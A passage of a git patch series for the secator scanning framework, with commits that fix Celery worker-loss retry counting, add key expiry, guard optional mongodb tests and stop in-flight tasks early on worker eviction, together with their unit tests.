tag_duplicates(ws_id: str = None, full_scan: bool = False, exclude_types=[], 'on_end': [update_runner], }, Task: { + 'on_build': [on_build], 'on_init': [update_runner], 'on_start': [update_runner], 'on_item': [update_finding], diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 37ed0a445..3e64ffff2 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -212,3 +212,76 @@ class ChunkedHttpx(httpx): f'Some chunk signatures are missing task_chunk_id: {chunk_ids}' assert len(set(chunk_ids)) == len(chunk_ids), \ f'Chunk ids are not all distinct: {chunk_ids}' + + +class TestOnBuildSqlite: + def test_sqlite_on_build_stamps_task_id(self, tmp_path, monkeypatch): + import secator.hooks.sqlite as sql + + # Point the sqlite store at a temp DB by monkeypatching get_sqlite_conn + # to use a fresh in-memory connection, and capture executed SQL. + import sqlite3 + import json + + tmp_db = str(tmp_path / 'test.db') + conn = sqlite3.connect(tmp_db) + conn.execute("CREATE TABLE IF NOT EXISTS tasks (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS workflows (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS scans (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.commit() + + monkeypatch.setattr(sql, 'get_sqlite_conn', lambda: conn) + + spec = {'name': 'httpx', 'context': {'workspace_id': 'ws1'}} + sql.on_build(_FakeParent('workflow'), spec) + + # id was stamped into the spec context + task_id = spec['context'].get('task_id') + assert task_id, f'Expected task_id to be stamped in context, got: {spec["context"]}' + + # row was actually inserted into the tasks table + rows = conn.execute("SELECT id, data FROM tasks WHERE id=?", (task_id,)).fetchall() + assert len(rows) == 1, f'Expected 1 row in tasks for id {task_id}, got {len(rows)}' + doc = json.loads(rows[0][1]) + assert doc['status'] == 'PENDING' + + def test_sqlite_on_build_scan_parent_stamps_workflow_id(self, tmp_path, monkeypatch): + import secator.hooks.sqlite as sql + import sqlite3 + import json + + tmp_db = str(tmp_path / 'test.db') + conn = sqlite3.connect(tmp_db) + conn.execute("CREATE TABLE IF NOT EXISTS tasks (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS workflows (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS scans (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.commit() + + monkeypatch.setattr(sql, 'get_sqlite_conn', lambda: conn) + + spec = {'name': 'url_fuzz', 'context': {'workspace_id': 'ws1'}} + sql.on_build(_FakeParent('scan'), spec) + + workflow_id = spec['context'].get('workflow_id') + assert workflow_id, f'Expected workflow_id stamped in context, got: {spec["context"]}' + rows = conn.execute("SELECT id FROM workflows WHERE id=?", (workflow_id,)).fetchall() + assert len(rows) == 1 + + def test_sqlite_on_build_chunk_stamps_chunk_id(self, tmp_path, monkeypatch): + import secator.hooks.sqlite as sql + import sqlite3 + + tmp_db = str(tmp_path / 'test.db') + conn = sqlite3.connect(tmp_db) + conn.execute("CREATE TABLE IF NOT EXISTS tasks (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS workflows (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.execute("CREATE TABLE IF NOT EXISTS scans (id TEXT PRIMARY KEY, workspace_id TEXT, data TEXT)") + conn.commit() + + monkeypatch.setattr(sql, 'get_sqlite_conn', lambda: conn) + + spec = {'name': 'ffuf', 'chunk': 2, 'chunk_count': 5, 'context': {'workspace_id': 'ws1'}} + sql.on_build(_FakeParent('task'), spec) + + chunk_id = spec['context'].get('task_chunk_id') + assert chunk_id, f'Expected task_chunk_id stamped in context, got: {spec["context"]}' From 1e5f0a4b2b4b761a0c9dceb5b80732e1c07f987a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 21:17:07 +0200 Subject: [PATCH 010/129] test(on_build): fix test_hooks for build-time hook + isolate wiring tests from CONFIG pollution --- tests/unit/test_on_build.py | 81 ++++++++++++++++++++++++++++++++++--- tests/unit/test_runners.py | 6 +++ 2 files changed, 82 insertions(+), 5 deletions(-) diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 3e64ffff2..822c6c078 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -84,7 +84,67 @@ def test_chunk_spec_stamps_task_chunk_id_and_chunk_flags(self, monkeypatch): assert spec['context']['task_chunk_id'] == 'oid-tasks-0' +def _fresh_mongo_hooks(): + """Return a freshly-imported MONGO_HOOKS dict. + + test_config.py's TestConfigEnv calls clear_modules(), which purges all + secator.* module objects from sys.modules and reimports them with a temp + SECATOR_DIRS_DATA. After that reimport, the runner classes (Workflow, + Task, Scan) are *new* Python objects. The module-level MONGO_HOOKS dict + captured at test-file import time still holds the *old* class objects as + keys. Passing that stale dict as hooks= to the new Workflow/Task instances + means register_hooks() finds no matching key and registers nothing — + so on_build never fires. + + We fix this by re-importing HOOKS from the live secator.hooks.mongodb + module (which always reflects the currently-loaded classes) and returning + it so setUp can store it as self.MONGO_HOOKS for use in each test body. + """ + from secator.hooks.mongodb import HOOKS + return HOOKS + + +def _restore_config_dirs(): + """Restore CONFIG.dirs to the real data directory. + + test_config.py's TestConfigEnv calls clear_modules() and reimports + secator.config with SECATOR_DIRS_DATA=/tmp/.secator/new, then deletes + /tmp/.secator in tearDown. This leaves the global CONFIG singleton + pointing at a non-existent celery_results path, causing the Celery + filesystem backend to raise ImproperlyConfigured in any subsequent test + that builds a canvas. + + We repair CONFIG by reconstructing Directories from the real data root + (read from the live SECATOR_DIRS_DATA env var, which test_config.py + restores in its own tearDown, or falling back to ~/.secator). + Directories is a Pydantic StrictModel; we use model_dump() to iterate it. + CONFIG.dirs is a DotMap (Config subclass) that accepts plain setattr. + """ + import os + import secator.config as _cfg + from pathlib import Path + + real_data = Path(os.environ.get('SECATOR_DIRS_DATA') or Path.home() / '.secator') + real_dirs = _cfg.Directories(data=real_data) + cfg = _cfg.CONFIG + for k, v in real_dirs.model_dump().items(): + setattr(cfg.dirs, k, v) + cfg.celery.result_backend = f'file://{real_dirs.celery_results}' + + class TestOnBuildWorkflowWiring(unittest.TestCase): + """Wiring tests for on_build in a full Workflow canvas build. + + These tests are hermetic against CONFIG pollution from test_config.py. + See _restore_config_dirs() and _fresh_mongo_hooks() for details. + """ + + def setUp(self): + _restore_config_dirs() + # Re-import HOOKS so keys match the currently-loaded runner classes + # (stale keys from the pre-clear_modules import won't match). + self.MONGO_HOOKS = _fresh_mongo_hooks() + def test_task_signatures_carry_task_id_from_on_build(self): from secator.runners.workflow import Workflow from secator.template import TemplateLoader @@ -98,7 +158,7 @@ def test_task_signatures_carry_task_id_from_on_build(self): wf = Workflow( config, inputs=['example.com'], - hooks=MONGO_HOOKS, + hooks=self.MONGO_HOOKS, context={'workspace_id': 'ws1', 'drivers': ['mongodb']}, ) wf.build_celery_workflow() @@ -169,6 +229,18 @@ def test_prebuilt_id_takes_update_one_branch(self, monkeypatch): class TestOnBuildChunkWiring(unittest.TestCase): + """Wiring tests for on_build during chunk-task canvas assembly. + + These tests are hermetic against CONFIG pollution from test_config.py. + See _restore_config_dirs() and _fresh_mongo_hooks() for details. + """ + + def setUp(self): + _restore_config_dirs() + # Re-import HOOKS so keys match the currently-loaded runner classes + # (stale keys from the pre-clear_modules import won't match). + self.MONGO_HOOKS = _fresh_mongo_hooks() + def test_each_chunk_signature_carries_a_distinct_task_chunk_id(self): from secator.celery import break_task from secator.tasks import httpx @@ -178,10 +250,9 @@ def test_each_chunk_signature_carries_a_distinct_task_chunk_id(self): targets = ['https://a.com', 'https://b.com', 'https://c.com'] # Use flattened task hooks (same as Workflow does via self._hooks.get(Task, {})) - # MONGO_HOOKS is keyed by runner class (Scan/Workflow/Task); register_hooks - # looks up hooks.get(self.__class__) which won't match Task for an httpx - # subclass, so we flatten to the Task-level hook dict. - task_hooks = MONGO_HOOKS.get(Task, {}) + # self.MONGO_HOOKS is keyed by the currently-loaded runner classes; re-importing + # Task here gives us the same object that MONGO_HOOKS uses as its Task key. + task_hooks = self.MONGO_HOOKS.get(Task, {}) # Subclass with input_chunk_size=1 so each target becomes its own chunk. class ChunkedHttpx(httpx): diff --git a/tests/unit/test_runners.py b/tests/unit/test_runners.py index 314f8d134..0a2feb871 100644 --- a/tests/unit/test_runners.py +++ b/tests/unit/test_runners.py @@ -135,6 +135,12 @@ def test_hooks(self): # Run the command using mock_command with mock_command(MyCommand, TARGETS, {}, fixture, 'run'): for hook, mock in mock_hooks.items(): + # 'on_build' is a build-time hook fired by a PARENT runner during + # Celery canvas assembly, not during the runner's own execution. + # It will never be called in a standalone Command/Task run. + if hook == 'on_build': + self.assertFalse(mock.called, f"Hook '{hook}' should NOT be called during runner execution") + continue self.assertTrue(mock.called, f"Hook '{hook}' was not called") self.assertEqual(mock_hooks['on_json_loaded'].call_count, 3) self.assertGreaterEqual(mock_hooks['on_duplicate'].call_count, 1) From 634b259164d59dea177516bdb56462e6aaec2f5e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 20 Jun 2026 21:46:35 +0200 Subject: [PATCH 011/129] fix(celery): worker-loss cap off-by-one + key expiry; add connection-loss cancel flag MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Completes the worker-loss redelivery cap with the review fixes + the L1 delivery flag: - Off-by-one: the initial delivery no longer counts as a retry. Extracted worker_loss_retries_exhausted(delivery_count, max_retries) — redeliveries = delivery_count - 1, so task_max_retries=3 allows the initial run + 3 redeliveries before abandoning (was 2). Unit-tested at the boundary. - Key expiry: worker-loss counter keys now get a best-effort TTL tied to result_expires (via _expire_worker_loss_key) on both the atomic-incr and the get/set paths, so they don't accumulate forever. - L1: add worker_cancel_long_running_tasks_on_connection_loss config flag (default False) wired into app.conf, alongside the existing task_acks_late / task_reject_on_worker_lost. Enables clean redelivery of a connection-lost worker's in-flight tasks. Inert until enabled in deployment. Note: the terminal-doc no-op guard (a redelivered task whose runner doc is already done) is deferred — it depends on stable runner identity (on_build, the L2 PR) to find 'its' doc, and is ineffective without it. Co-Authored-By: Claude Opus 4.8 --- secator/celery.py | 33 +++++++++++++++++++++++++++++++-- secator/config.py | 4 ++++ tests/unit/test_celery.py | 22 ++++++++++++++++++++++ 3 files changed, 57 insertions(+), 2 deletions(-) diff --git a/secator/celery.py b/secator/celery.py index aa7fda4eb..6c4abde50 100644 --- a/secator/celery.py +++ b/secator/celery.py @@ -98,6 +98,8 @@ 'worker_pool_restarts': True, 'worker_prefetch_multiplier': CONFIG.celery.worker_prefetch_multiplier, 'worker_send_task_events': CONFIG.celery.worker_send_task_events, + 'worker_cancel_long_running_tasks_on_connection_loss': + CONFIG.celery.worker_cancel_long_running_tasks_on_connection_loss, } ) app.autodiscover_tasks(['secator.hooks.mongodb'], related_name=None) @@ -200,6 +202,18 @@ def start_runner(self, config, targets, results=[], run_opts={}, hooks={}, valid runner.run() +def _expire_worker_loss_key(backend, key): + """Best-effort TTL on a worker-loss counter key so they don't accumulate forever. + + Tied to ``result_expires`` (the lifetime of the task's own result). Not all result + backends implement ``expire``; ignore if unsupported. + """ + try: + backend.expire(key, CONFIG.celery.result_expires) + except Exception: + pass + + def bump_worker_loss_count(task_id): """Increment and return the worker-loss delivery count for a Celery task id. @@ -220,7 +234,9 @@ def bump_worker_loss_count(task_id): # Preferred: atomic incr (Redis, Memcached) — race-free. try: - return backend.incr(key) + count = backend.incr(key) + _expire_worker_loss_key(backend, key) + return count except NotImplementedError: pass # Backend has no atomic counter; fall back to get/set below. except Exception as e: @@ -234,6 +250,7 @@ def bump_worker_loss_count(task_id): raw = backend.get(key) count = (int(raw) if raw else 0) + 1 backend.set(key, str(count)) + _expire_worker_loss_key(backend, key) return count except Exception as e: debug(f'worker-loss get/set failed for {task_id}: {e}', sub='celery.state') @@ -275,6 +292,18 @@ def abandon_task(name, targets, opts, results): return task.results +def worker_loss_retries_exhausted(delivery_count, max_retries): + """Whether a task has exhausted its allowed worker-loss redeliveries. + + ``delivery_count`` includes the INITIAL delivery (it is 1 on first run), so the + number of *redeliveries* is ``delivery_count - 1``. We abandon once redeliveries + exceed ``max_retries`` — i.e. ``task_max_retries=3`` allows the initial run plus 3 + redeliveries (4 attempts total) before abandoning. (The initial delivery must not + count as a retry — that was the off-by-one in the original cap.) + """ + return (delivery_count - 1) > max_retries + + @app.task(bind=True) def run_command(self, results, name, targets, opts={}): # Set Celery request id in context @@ -306,7 +335,7 @@ def run_command(self, results, name, targets, opts={}): # block the surrounding chord/workflow. if CONFIG.celery.task_max_retries != -1 and CONFIG.celery.task_acks_late: delivery_count = bump_worker_loss_count(self.request.id) - if delivery_count > CONFIG.celery.task_max_retries: + if worker_loss_retries_exhausted(delivery_count, CONFIG.celery.task_max_retries): return abandon_task(name, targets, opts, results) # Flatten + dedupe + filter results diff --git a/secator/config.py b/secator/config.py index b4f2ee856..8187a825c 100644 --- a/secator/config.py +++ b/secator/config.py @@ -83,6 +83,10 @@ class Celery(StrictModel): worker_kill_after_task: bool = False worker_kill_after_idle_seconds: int = -1 worker_command_verbose: bool = False + # Cancel (and redeliver, with acks_late) a worker's in-flight tasks when it loses the broker + # connection, instead of letting them run detached as zombies. Part of the OOM/eviction + # robustness layer; enable in deployment alongside task_acks_late + task_reject_on_worker_lost. + worker_cancel_long_running_tasks_on_connection_loss: bool = False class Cli(StrictModel): diff --git a/tests/unit/test_celery.py b/tests/unit/test_celery.py index fd6573f29..201e399c6 100644 --- a/tests/unit/test_celery.py +++ b/tests/unit/test_celery.py @@ -394,6 +394,28 @@ def test_abandon_task_returns_failure_error(self): self.assertEqual(len(errors), 1) self.assertIn('abandoned after', errors[0].message) + def test_retries_exhausted_does_not_count_initial_delivery(self): + """delivery_count includes the initial run; task_max_retries=N allows N redeliveries.""" + from secator.celery import worker_loss_retries_exhausted + # task_max_retries=3 -> initial (1) + 3 redeliveries (2,3,4) allowed, abandon on the 5th delivery. + self.assertFalse(worker_loss_retries_exhausted(1, 3)) # initial run + self.assertFalse(worker_loss_retries_exhausted(2, 3)) # redelivery 1 + self.assertFalse(worker_loss_retries_exhausted(3, 3)) # redelivery 2 + self.assertFalse(worker_loss_retries_exhausted(4, 3)) # redelivery 3 (last allowed) + self.assertTrue(worker_loss_retries_exhausted(5, 3)) # redelivery 4 -> abandon + # task_max_retries=0 -> no redeliveries; abandon on the first redelivery, not the initial run. + self.assertFalse(worker_loss_retries_exhausted(1, 0)) + self.assertTrue(worker_loss_retries_exhausted(2, 0)) + + def test_worker_cancel_flag_wired_to_app_conf(self): + """The worker_cancel_long_running_tasks_on_connection_loss config flag reaches app.conf.""" + from secator.celery import app + from secator.config import CONFIG + self.assertEqual( + app.conf.worker_cancel_long_running_tasks_on_connection_loss, + CONFIG.celery.worker_cancel_long_running_tasks_on_connection_loss, + ) + class TestRunnerPickle(unittest.TestCase): """Test that Runner objects with dynamic driver hooks can be pickled/unpickled.""" From bf0c771c401a74a8bcb240097dc83a5709f314ff Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 18:10:47 +0200 Subject: [PATCH 012/129] fix(celery): clearer abandon message (delivery attempts vs retry cap) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The abandon message said 'after N retries' using task_max_retries, which read oddly at max_retries=0 ('after 0 retries') because a redelivery still occurs even with 0 retries — the broker redelivers a lost task under acks_late; that is NOT a re-run of the work. Thread the actual delivery_count through and report it separately from the cap: Task httpx abandoned after 5 delivery attempts (retry cap: 3; worker repeatedly lost — likely OOM kill or node eviction). Reads sensibly for any cap value (incl. 0). Co-Authored-By: Claude Opus 4.8 --- secator/celery.py | 13 +++++++++---- tests/unit/test_celery.py | 7 +++++-- 2 files changed, 14 insertions(+), 6 deletions(-) diff --git a/secator/celery.py b/secator/celery.py index 6c4abde50..1fafb3c08 100644 --- a/secator/celery.py +++ b/secator/celery.py @@ -257,7 +257,7 @@ def bump_worker_loss_count(task_id): return 0 -def abandon_task(name, targets, opts, results): +def abandon_task(name, targets, opts, results, delivery_count=None): """Abandon a task that has exhausted its worker-loss retries. Returns a normal (forwarded) result list with an Error appended, so the surrounding @@ -269,6 +269,9 @@ def abandon_task(name, targets, opts, results): targets (list): Task targets. opts (dict): Task options (already carries context). results (list): Incoming results from upstream tasks. + delivery_count (int | None): How many times this task was delivered (a redelivery + is the broker's doing under ``task_acks_late``; it is NOT a re-run of the work). + Reported separately from the retry cap so the message is unambiguous. Returns: list: Forwarded results including a FAILURE Error for this task. @@ -279,10 +282,12 @@ def abandon_task(name, targets, opts, results): task_cls = Task.get_task_class(name) task = task_cls(targets, **opts) task.mark_started() + attempts = f'{delivery_count} delivery attempts' if delivery_count is not None else 'repeated delivery attempts' task.add_result(Error( message=( - f'Task {name} abandoned after {CONFIG.celery.task_max_retries} retries ' - '(worker repeatedly lost — likely OOM kill or node eviction).' + f'Task {name} abandoned after {attempts} ' + f'(retry cap: {CONFIG.celery.task_max_retries}; worker repeatedly lost — ' + 'likely OOM kill or node eviction).' ), _source=task.unique_name, )) @@ -336,7 +341,7 @@ def run_command(self, results, name, targets, opts={}): if CONFIG.celery.task_max_retries != -1 and CONFIG.celery.task_acks_late: delivery_count = bump_worker_loss_count(self.request.id) if worker_loss_retries_exhausted(delivery_count, CONFIG.celery.task_max_retries): - return abandon_task(name, targets, opts, results) + return abandon_task(name, targets, opts, results, delivery_count) # Flatten + dedupe + filter results results = forward_results(results) diff --git a/tests/unit/test_celery.py b/tests/unit/test_celery.py index 201e399c6..4915b0dfe 100644 --- a/tests/unit/test_celery.py +++ b/tests/unit/test_celery.py @@ -389,10 +389,13 @@ def test_abandon_task_returns_failure_error(self): if httpx not in TEST_TASKS: return - results = abandon_task('httpx', ['example.com'], {'context': {}}, []) + results = abandon_task('httpx', ['example.com'], {'context': {}}, [], delivery_count=2) errors = [r for r in results if r._type == 'error'] self.assertEqual(len(errors), 1) - self.assertIn('abandoned after', errors[0].message) + # Message separates delivery attempts (broker redeliveries) from the retry cap, so it + # reads sensibly even when the cap is 0 (a redelivery still occurs; the work isn't re-run). + self.assertIn('abandoned after 2 delivery attempts', errors[0].message) + self.assertIn('retry cap:', errors[0].message) def test_retries_exhausted_does_not_count_initial_delivery(self): """delivery_count includes the initial run; task_max_retries=N allows N redeliveries.""" From 48e04d73975dcb2f1802424c0c59297db44b447c Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 18:34:05 +0200 Subject: [PATCH 013/129] test(on_build): skip mongodb tests when the addon (pymongo) is absent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit test_on_build.py imported secator.hooks.mongodb at module level, which pulls pymongo — an optional addon not installed in the base CI test env — so the whole file failed to collect. Guard the import behind ADDONS_ENABLED['mongodb'] and mark the 4 mongodb-dependent classes with pytest.skipif on the same flag (works for both the unittest.TestCase and plain pytest classes). The hook-registration and sqlite tests don't need pymongo and keep running. Co-Authored-By: Claude Opus 4.8 --- tests/unit/test_on_build.py | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/tests/unit/test_on_build.py b/tests/unit/test_on_build.py index 822c6c078..a3d2f5b1f 100644 --- a/tests/unit/test_on_build.py +++ b/tests/unit/test_on_build.py @@ -1,6 +1,16 @@ import types import unittest -from secator.hooks.mongodb import HOOKS as MONGO_HOOKS + +import pytest + +from secator.definitions import ADDONS_ENABLED + +# secator.hooks.mongodb imports pymongo, an optional addon NOT installed in the base +# unit-test environment (CI). Guard the import so the module collects cleanly, and skip +# the mongodb-dependent test classes below when the addon is absent. (The registration +# and sqlite tests don't need pymongo and still run.) +if ADDONS_ENABLED['mongodb']: + from secator.hooks.mongodb import HOOKS as MONGO_HOOKS class TestOnBuildHookRegistration(unittest.TestCase): @@ -54,6 +64,7 @@ def __init__(self, parent_type): self.config = types.SimpleNamespace(type=parent_type) +@pytest.mark.skipif(not ADDONS_ENABLED['mongodb'], reason='mongodb addon (pymongo) not installed') class TestOnBuildMongo: def test_workflow_parent_inserts_task_doc_and_stamps_task_id(self, monkeypatch): from secator.hooks.mongodb import on_build @@ -132,6 +143,7 @@ def _restore_config_dirs(): cfg.celery.result_backend = f'file://{real_dirs.celery_results}' +@pytest.mark.skipif(not ADDONS_ENABLED['mongodb'], reason='mongodb addon (pymongo) not installed') class TestOnBuildWorkflowWiring(unittest.TestCase): """Wiring tests for on_build in a full Workflow canvas build. @@ -198,6 +210,7 @@ def __init__(self, calls): self.main = _RecordingDB(calls) +@pytest.mark.skipif(not ADDONS_ENABLED['mongodb'], reason='mongodb addon (pymongo) not installed') class TestUpdateRunnerReusesPrebuiltDoc: def test_prebuilt_id_takes_update_one_branch(self, monkeypatch): import secator.hooks.mongodb as m @@ -228,6 +241,7 @@ def test_prebuilt_id_takes_update_one_branch(self, monkeypatch): f'Expected no insert_one but got: {calls}' +@pytest.mark.skipif(not ADDONS_ENABLED['mongodb'], reason='mongodb addon (pymongo) not installed') class TestOnBuildChunkWiring(unittest.TestCase): """Wiring tests for on_build during chunk-task canvas assembly. From 4fe6fb146858c34d82be6ff239c3521f8fa2551b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 21:56:04 +0200 Subject: [PATCH 014/129] feat(celery): finalize in-flight task on worker eviction so the chord proceeds MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit On a K8s pod eviction (SIGTERM -> grace -> SIGKILL) the worker running a task dies. With task_acks_late on the Redis broker, its message is only redelivered after the broker visibility timeout (hours, on the long-task pool) — stalling the surrounding chord/workflow that whole time. Unlike a child OOM (where the master survives and task_reject_on_worker_lost requeues immediately), a whole-pod eviction has no surviving master, so Redis can only fall back to the visibility timeout. Catch the worker_shutting_down signal and raise a flag the running task's monitor thread polls. On shutdown it stops the task early via the existing stop_process path, so the task returns its partial results through the normal completion path and the chord proceeds in seconds instead of waiting for the visibility timeout. - celery_signals.py: SHUTDOWN_FLAG + worker_shutting_down_handler (wired unconditionally); stale flag cleared on worker boot. - command.py: the monitor thread checks the flag (same self-stop used for timeout/memory limits) and caps its poll interval (MONITOR_POLL_SECONDS=5) so an eviction is caught well within the pod's terminationGracePeriodSeconds. - tests: flag lifecycle + a behavioral test (a running command stops early and emits the eviction warning). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/celery_signals.py | 30 ++++++++++++++++++ secator/runners/command.py | 22 +++++++++++-- tests/unit/test_eviction.py | 63 +++++++++++++++++++++++++++++++++++++ 3 files changed, 113 insertions(+), 2 deletions(-) create mode 100644 tests/unit/test_eviction.py diff --git a/secator/celery_signals.py b/secator/celery_signals.py index e0cdf909a..42ee4a693 100644 --- a/secator/celery_signals.py +++ b/secator/celery_signals.py @@ -15,6 +15,31 @@ STATE_DIR = Path("/tmp/celery_state") STATE_DIR.mkdir(exist_ok=True, parents=True) +# Eviction flag. On worker shutdown (e.g. a K8s pod SIGTERM eviction) we raise this flag; the +# running task's monitor thread (in the prefork child, a separate process) polls it via a file +# and stops early, returning partial results so the surrounding chord proceeds — instead of the +# task hanging until the broker visibility timeout redelivers it (hours, on the long pool). +SHUTDOWN_FLAG = STATE_DIR / "worker_shutdown" + + +def is_worker_shutting_down(): + """True once the worker has begun shutting down (set by worker_shutting_down_handler).""" + return SHUTDOWN_FLAG.exists() + + +def clear_shutdown_flag(): + """Remove the eviction flag (called on worker boot to drop any stale flag).""" + if SHUTDOWN_FLAG.exists(): + SHUTDOWN_FLAG.unlink() + + +def worker_shutting_down_handler(**kwargs): + """Raise the eviction flag so the in-flight task's monitor stops it early and returns.""" + try: + SHUTDOWN_FLAG.write_text("1") + except Exception: + pass + def get_lock_file_path(): worker_name = os.environ.get("WORKER_NAME", f"unknown_{os.getpid()}") @@ -126,6 +151,11 @@ def setup_handlers(): if CONFIG.celery.override_default_logging: signals.setup_logging.connect(setup_logging) + # Eviction handling (always on): clear any stale flag from a previous worker in this pod, + # and raise it on shutdown so the in-flight task stops early and lets its chord proceed. + clear_shutdown_flag() + signals.worker_shutting_down.connect(worker_shutting_down_handler) + # Register common handlers when either task‐ or idle‐based termination is enabled if CONFIG.celery.worker_kill_after_task or CONFIG.celery.worker_kill_after_idle_seconds != -1: signals.celeryd_after_setup.connect(capture_worker_name) diff --git a/secator/runners/command.py b/secator/runners/command.py index b00141a85..51f3aa2e9 100644 --- a/secator/runners/command.py +++ b/secator/runners/command.py @@ -26,6 +26,11 @@ logger = logging.getLogger(__name__) +# Upper bound on the monitor thread's poll interval (seconds). Keeps the shutdown/timeout checks +# responsive even when stat_update_frequency is large, so an evicted task stops well within the +# pod's termination grace period. +MONITOR_POLL_SECONDS = 5 + class Command(Runner): """Base class to execute an external command.""" @@ -712,6 +717,7 @@ def get_max_timeout(self): def _monitor_process(self): """Monitor thread that checks process health and kills if necessary.""" + from secator.celery_signals import is_worker_shutting_down last_stats_time = 0 while not self.monitor_stop_event.is_set(): @@ -722,6 +728,16 @@ def _monitor_process(self): current_time = time() self.debug('Collecting monitor items', sub='monitor') + # Worker is shutting down (e.g. K8s pod eviction): stop early and save partial + # results so the surrounding chord proceeds, rather than hang until the broker + # visibility timeout redelivers this task. + if is_worker_shutting_down(): + warning = Warning(message='Worker shutting down (eviction): stopping task early, saving incomplete results') + if self.monitor_queue is not None: + self.monitor_queue.put(warning) + self.stop_process(exit_ok=True, sig=signal.SIGTERM) + break + # Collect and queue stats at regular intervals if (current_time - last_stats_time) >= CONFIG.runners.stat_update_frequency: stats_items = list(self._collect_stats()) @@ -770,8 +786,10 @@ def _monitor_process(self): self.monitor_queue.put(warning) break - # Sleep for a short interval before next check (stat update frequency) - self.monitor_stop_event.wait(CONFIG.runners.stat_update_frequency) + # Wake at least every MONITOR_POLL_SECONDS so the shutdown/timeout checks stay + # responsive (stats themselves are still gated to stat_update_frequency above), so + # an eviction is caught well within the pod's termination grace period. + self.monitor_stop_event.wait(min(CONFIG.runners.stat_update_frequency, MONITOR_POLL_SECONDS)) def _collect_stats(self): """Collect stats about the current running process, if any.""" diff --git a/tests/unit/test_eviction.py b/tests/unit/test_eviction.py new file mode 100644 index 000000000..fc1394984 --- /dev/null +++ b/tests/unit/test_eviction.py @@ -0,0 +1,63 @@ +import threading +import time +import unittest +import unittest.mock + +from secator.celery_signals import ( + clear_shutdown_flag, + is_worker_shutting_down, + worker_shutting_down_handler, +) +from secator.runners import Command + + +class TestEvictionSelfFinalize(unittest.TestCase): + """Worker-eviction self-finalize: on shutdown (e.g. a K8s pod SIGTERM eviction) the in-flight + task's monitor stops it early and returns partial results, so the surrounding chord proceeds + instead of hanging until the broker visibility timeout redelivers the task.""" + + def setUp(self): + clear_shutdown_flag() + + def tearDown(self): + clear_shutdown_flag() + + def test_shutdown_flag_lifecycle(self): + """worker_shutting_down_handler raises the flag; clear_shutdown_flag drops it.""" + self.assertFalse(is_worker_shutting_down()) + worker_shutting_down_handler() + self.assertTrue(is_worker_shutting_down()) + clear_shutdown_flag() + self.assertFalse(is_worker_shutting_down()) + + def test_monitor_stops_running_command_on_shutdown(self): + """A long-running command stops early once the flag is raised (instead of running to + completion), and emits the eviction Warning — proving the monitor self-stop path.""" + holder = {} + + def run(): + holder['cmd'] = Command.execute('sleep 30', name='evict_sleep', process=True, quiet=True) + + t = threading.Thread(target=run, daemon=True) + # Poll fast so the test doesn't wait the full stat-update cadence. + with unittest.mock.patch('secator.runners.command.MONITOR_POLL_SECONDS', 1): + start = time.monotonic() + t.start() + time.sleep(2) # let the subprocess + monitor thread start + worker_shutting_down_handler() # simulate the eviction SIGTERM + t.join(timeout=20) + elapsed = time.monotonic() - start + + self.assertFalse(t.is_alive(), 'command did not stop after the shutdown flag was raised') + self.assertLess(elapsed, 25, 'command did not stop early (ran toward the full 30s sleep)') + + cmd = holder['cmd'] + signals = [ + item for item in (cmd.warnings + cmd.results) + if 'shutting down' in str(getattr(item, 'message', '')).lower() + ] + self.assertTrue(signals, 'no eviction warning emitted on shutdown') + + +if __name__ == '__main__': + unittest.main() From cb0f0f47925f8a5a5af89d0b7d829836eefdc701 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 21 Jun 2026 22:13:21 +0200 Subject: [PATCH 015/129] fix(celery): clear stale eviction flag per task; harden handler + isolate test MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The integration suite caught a real leak: SHUTDOWN_FLAG is a machine-global file, so once any worker fired worker_shutting_down (e.g. between test files) the flag persisted and every later task whose monitor polled once self-aborted — slow tasks failed, fast ones that finished before the first poll passed. Prod never hit it (1 task = 1 pod = fresh /tmp), but any shared/long-lived worker does. - command.py: clear the flag at monitor start, so it only means "shutdown raised *during this run*", not a stale flag from a previous worker/task. - celery_signals.py (CodeRabbit): ensure the flag's parent dir exists and catch + log OSError instead of swallowing all exceptions. - test_eviction.py (CodeRabbit): isolate SHUTDOWN_FLAG to a per-test temp path; add a regression test that a flag set *before* a task starts does not stop it. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01P5vSjfkBuGAAHdKxHS3ySm --- secator/celery_signals.py | 5 +++-- secator/runners/command.py | 7 ++++++- tests/unit/test_eviction.py | 38 ++++++++++++++++++++++++++++--------- 3 files changed, 38 insertions(+), 12 deletions(-) diff --git a/secator/celery_signals.py 